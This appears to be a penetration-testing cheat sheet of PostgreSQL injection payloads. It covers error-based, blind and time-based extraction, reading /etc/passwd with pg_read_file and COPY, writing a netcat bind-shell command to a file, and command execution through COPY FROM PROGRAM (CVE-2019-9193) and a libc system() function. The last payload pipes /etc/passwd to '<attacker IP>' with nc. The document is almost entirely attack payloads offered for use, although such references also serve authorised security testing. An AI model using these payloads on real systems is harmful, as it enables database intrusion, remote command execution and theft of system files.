PostgreSQL injection

Summary

PostgreSQL Comments

  1. --
  2. /**/

PostgreSQL Error Based

  1. ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
  2. ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
  3. ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
  4. ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

PostgreSQL Blind

  1. ' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
  2. ' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO

PostgreSQL Time Based

  1. AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
  2. AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL File Read

  1. select pg_ls_dir('./');
  2. select pg_read_file('PG_VERSION', 0, 200);

NOTE: `pg_read_filedoesn’t accept the/ character.

  1. CREATE TABLE temp(t TEXT);
  2. COPY temp FROM '/etc/passwd';
  3. SELECT * FROM temp limit 1 offset 0;

PostgreSQL File Write

  1. CREATE TABLE pentestlab (t TEXT);
  2. INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
  3. SELECT * FROM pentestlab;
  4. COPY pentestlab(t) TO '/tmp/pentestlab';

PostgreSQL Command execution

CVE-2019–9193

Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.

  1. DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
  2. CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
  3. COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
  4. SELECT * FROM cmd_exec; -- [Optional] View the results
  5. DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table

PostgreSQL Injection - 图1

Using libc.so.6

  1. CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
  2. SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

References